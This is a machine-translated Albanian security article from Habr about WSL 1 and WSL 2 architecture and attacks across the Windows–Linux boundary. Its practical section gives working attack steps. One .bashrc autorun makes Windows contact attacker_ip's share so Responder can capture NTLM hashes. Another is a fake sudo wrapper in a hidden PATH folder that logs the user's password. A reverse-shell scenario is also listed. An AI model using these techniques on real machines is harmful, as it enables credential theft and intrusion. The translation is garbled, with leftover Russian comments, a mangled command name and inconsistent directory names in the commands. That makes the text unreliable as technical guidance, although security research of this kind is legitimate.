Eksperimentet WSL. Pjesa 1

Përshëndetje, habr! OTUS nis një rrjedhë të re kursi në tetor "Siguria Linux". Në pritje të fillimit të kursit, ne po ndajmë me ju një artikull të shkruar nga një prej mësuesve tanë, Alexander Kolesnikov.

Eksperimentet WSL. Pjesa 1

Në vitin 2016, Microsoft prezantoi teknologjinë e re WSL në komunitetin e IT (Wbrenda Snënsistemi për Linux), i cili në të ardhmen bëri të mundur bashkimin e konkurrentëve të papajtueshëm më parë, të cilët po luftonin për popullaritet midis përdoruesve të zakonshëm dhe të avancuar të OS: Windows dhe Linux. Kjo teknologji bëri të mundur përdorimin e mjeteve të Linux OS në një mjedis Windows pa pasur nevojë të ekzekutoni Linux, për shembull, duke përdorur Multi-boot. Në Habr mund të gjeni një numër të madh artikujsh që përshkruajnë përfitimet e përdorimit të WSL. Sidoqoftë, për fat të keq, në kohën e krijimit të këtij artikulli, nuk u gjetën studime mbi sigurinë e një simbioze të tillë të sistemeve operative në këtë burim. Ky postim do të jetë një përpjekje për ta korrigjuar këtë. Artikulli do të flasë për veçoritë e arkitekturave WSL 1 dhe 2 dhe do të shqyrtojë disa shembuj të sulmeve ndaj sistemeve që përdorin këto teknologji. Artikulli është i ndarë në 2 pjesë. E para do të sigurojë metodat kryesore teorike të sulmit nga Linux dhe Windows. Artikulli i dytë do të përfshijë ngritjen e një mjedisi testimi dhe riprodhimin e sulmeve.

WSL 1: veçoritë arkitekturore

Për zhytjen më të saktë në çështjet e sigurisë WSL, është e nevojshme të përcaktohen nuancat kryesore që lidhen me zbatimin e nënsistemit. Një nga detyrat kryesore të përdoruesit të zgjidhura nga WSL është aftësia për të punuar përmes një terminali Linux në një host që funksionon Windows OS. Gjithashtu, përputhshmëria e ofruar ishte aq origjinale sa ekzekutuesit Linux (ELF) mund të ekzekutoheshin drejtpërdrejt në një sistem Windows. Për të arritur këto qëllime, në Windows 10 u krijua një nënsistem i veçantë që ju lejon të ekzekutoni aplikacione Linux duke përdorur një grup thirrjesh specifike të sistemit - kështu, u bë një përpjekje për të hartuar një grup sistemesh sistemesh Linux në Windows. Kjo u zbatua fizikisht duke shtuar drejtues të rinj dhe një format të ri procesi. Vizualisht arkitektura dukej kështu:

Eksperimentet WSL. Pjesa 1

Në fakt, ndërveprimi me sistemin operativ Linux u organizua përmes disa moduleve kernel dhe një lloji të veçantë procesi - pico. Nga diagrami i mësipërm, mund të shihni se procesi që ekzekutohet në shembullin Linux në host duhet të jetë vendas dhe duhet të përdorë të njëjtat burime si aplikacionet e rregullta të Windows. Por si të arrihet kjo? Në projekt Ura Drawbridge U zhvilluan koncepte procesi për Windows që siguronin të gjithë komponentët e nevojshëm të sistemit operativ (në varësi të versionit të tij) për të ekzekutuar një aplikacion të një OS tjetër.

Vini re se abstraksioni i propozuar bëri të mundur që të mos përqendrohej në sistemin operativ (në veçanti, Windows), në të cilin pritet të nisë procesi i një OS tjetër dhe sugjeroi një qasje të përgjithshme.

Kështu, çdo aplikacion brenda procesit pico mund të ekzekutohet pa marrë parasysh kernelin e Windows:

  1. Problemet e përputhshmërisë dhe përkthimit të thirrjeve të sistemit duhet të zgjidhen nga ofruesit e veçantë;
  2. Kontrolli i aksesit duhet të bëhet përmes Monitorit të Sigurisë. Monitori ndodhet në kernel dhe për këtë arsye Windows kishte nevojë për një përmirësim në formën e një drejtuesi të ri që mund të vepronte si ofrues për procese të tilla. Procesi i prototipit pico është paraqitur në mënyrë skematike më poshtë:

Eksperimentet WSL. Pjesa 1

Meqenëse sistemi i skedarëve Linux përdor emra skedarësh dhe drejtorish të ndjeshëm ndaj rasteve, 2 lloje sistemesh skedarësh u shtuan në Windows për të punuar me WSL - VolFS dhe DriveFS. VolFS është një implementim i sistemit të skedarëve Linux, DriveFS është një sistem skedarësh që funksionon sipas rregullave të Windows, por ka aftësinë për të zgjedhur ndjeshmërinë e rasteve.

WSL 2

WSL 1 kishte një sërë kufizimesh që nuk e lejonin të përdorej për të zgjidhur gamën maksimale të detyrave: për shembull, nuk kishte aftësinë për të ekzekutuar aplikacione Linux 32-bit dhe ishte e pamundur të përdoreshin drejtuesit e pajisjes. Prandaj, në vitin 2020, u lëshua WSL 2, e cila ndryshoi qasjen për ndërtimin e nënsistemit. WSL 2 është një makinë virtuale e optimizuar që përputhet me karakteristikat e konsumit të burimeve të WSL 1. Tani, në varësi të problemeve të zgjidhura nga përdoruesi i Windows OS, mund të zgjidhni versionin e kërkuar të nënsistemit Linux. Për të zbutur dobësitë e mundshme, WSL 2 u implementua bazuar në Hyper-V në Windows 10. Në këtë formë, Windows ka aftësinë të ekzekutojë kernelin e sistemit operativ Linux në izolim. Vlen të kujtojmë se versioni 1 i WSL u prezantua si një veçori beta që supozohej të tregonte drejtimin e zhvillimit të Windows në këtë fushë, kështu që kalimi në Hyper-V ishte i pashmangshëm. Arkitektura përfundimtare duket si kjo:

Eksperimentet WSL. Pjesa 1

Në këtë version, kernelet e Windows dhe Linux kanë burimet e tyre dhe kryqëzimi ekziston vetëm në sistemin e skedarëve, por ky kryqëzim nuk është i plotë. Ndërveprimi ndërmjet sistemeve të skedarëve kryhet përmes një mbështjellësi klient-server që funksionon duke përdorur protokollin 9P.

Sot Microsoft ofron mundësinë për të kaluar midis WSL 1 dhe WSL 2. Të dy versionet janë të disponueshme për përdorim.

Siguria WSL

Për momentin, ka disa vepra që përshkruajnë disa qasje për përdorimin e mjeteve legjitime të OS për të sulmuar komunikimin midis nënsistemeve. Ne do të përdorim skriptet e tyre për të kontrolluar rëndësinë e sulmeve në kohën e shkrimit. Lista e përgjithshme e sulmeve dhe skenarëve:

1. Zbatimi i sistemit të skedarëve: të drejtat e aksesit, disponueshmëria e drejtorive të përbashkëta/mekanizmat e shkëmbimit të të dhënave.

Hulumtimi u krye për të përcaktuar shkeljet e rregullave të aksesit nga Linux FS->Windows FS, Windows FS->Linux FS. Hulumtimet kanë demonstruar aftësinë për të modifikuar një skedar të caktuar brenda OS-së së synuar. U bënë gjithashtu përpjekje për të zëvendësuar, krijuar dublikatë dhe fshirje të një pjese të sistemeve të skedarëve.

Skenar:

  • A. Sulmi nga sistemi operativ Windows - modifikim i skedarëve nga drejtoria /etc e Linux OS.
  • B. Sulmi nga sistemi operativ Linux - modifikimi i skedarëve në drejtori: C:Windows, C:Program Files, C:Users<User>

2. Implementimi i stekit të rrjetit.

Hulumtimi u krye duke përdorur shembuj të sulmeve nga sistemi operativ Linux në Windows. U përdorën tiparet e pirgut të rrjetit, përkatësisht, mekanizmat e vërtetimit në burime të ndryshme.

Skenar:

  • Hapja e aksesit në një port që është i zënë në një sistem Windows
  • Hapja e një porti pa të drejtat e duhura
  • Ekzekutimi i guaskës së kundërt duke përdorur skedarin kukudh në sistemin operativ Windows.

3. Fshehja e nisjes së proceseve të softuerit me qëllim të keq duke përdorur nënsistemin WSL.

Hulumtimi u bazua në një fakt të thjeshtë - nënsistemet e sigurisë nuk mund të përgjojnë ngjarjet në një kernel tjetër që funksionon duke përdorur një ofrues legjitim nga sistemi operativ në rastin e WSL 1. Në rastin e WSL 2, nuk ka asnjë mënyrë për të parë ngjarjet që ndodhin në një kernel të veçantë brenda makinës virtuale të lehtë.

Skenar:

1) Hapni aplikacionin për qasje në distancë në sistem dhe shikoni ngjarjet e regjistruara.

Eksperimentet WSL 1: përgjimi hash (Windows)

Më në fund kaluam në pjesën praktike. Së pari, duhet të konfiguroni mjedisin e testimit. Të gjitha eksperimentet do të kryhen në një stol me të instaluar Windows 10 2004. Imazhi i Ubuntu 18.04 u zgjodh si imazhi i sistemit operativ për WSL. Imazhi u zgjodh rastësisht, dhe çdo tjetër do të funksionojë njësoj. Komandat për vendosjen e një stendë:

Së pari ju duhet të nisni powershell.exe si administrator.

Për WSL 1 ju duhet të ekzekutoni komandat:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Pas rindezjes së stendës, mund të telefononi komandën bash. Nëse gjithçka funksionoi si duhet, do të shihni dalje të ngjashme me këtë në tastierën e Windows:

    Eksperimentet WSL. Pjesa 1

    Ne do të përdorim shpërndarjen Kali Linux si makinën e sulmuesit; të gjitha makinat duhet të jenë në të njëjtin rrjet lokal.

    Le të supozojmë se kemi akses të paprivilegjuar në WSL në një makinë Windows. Le të përpiqemi të sulmojmë sistemin operativ Linux duke thirrur një komandë nga Linux. Për të zbatuar sulmin, ne do të përdorim një teknikë të thjeshtë autorun - do të shtojmë skriptin tonë për ekzekutim në mjedisin Linux. Për ta bërë këtë, duhet të ndryshoni skedarin .bashrc.

    Në një makinë me WSL ne ekzekutojmë:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Në një makinë Kali Linux ne ekzekutojmë:

    1. Responder -I eth0 -rdvw

    Në një makinë Windows, le të hapim bash.

    Ne jemi duke pritur për rezultatin në makinën Kali Linux:

    Eksperimentet WSL. Pjesa 1

    Kështu, ne morëm hash-et e përdoruesve të Windows përmes nënsistemit WSL duke ekzekutuar komandën në sistemin Linux.

    Eksperimentet WSL 1: marrja e fjalëkalimit të përdoruesit (Linux OS)

    Le të bëjmë edhe një eksperiment. Gjatë këtij kontrolli ne do të shtojmë në skedar .bashrc disa komanda për të marrë fjalëkalimin e përdoruesit të sistemit operativ Linux.

    Le të hapim bash dhe të futim komandat:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Për të përfunduar me sukses sulmin, përdoruesi Sam duhet të thërrasë sudo në terminalin Linux. Pas kësaj, fjalëkalimi i përdoruesit të Linux OS do të jetë në skedar pass.txt:

    Eksperimentet WSL. Pjesa 1

    Zbatimi i sulmeve është dhënë vetëm për informacion teorik.

    Pjesa tjetër e artikullit do të përshkruajë zbatimin e protokollit 9P, do të shqyrtojë krijimin e një skaneri për këtë protokoll dhe gjithashtu do të kryejë një sulm duke përdorur atë.

    Lista e literaturës së përdorur

    Eksperimentet WSL. Pjesa 1

    Lexo më shumë

    Burimi: www.habr.com

    Shto një koment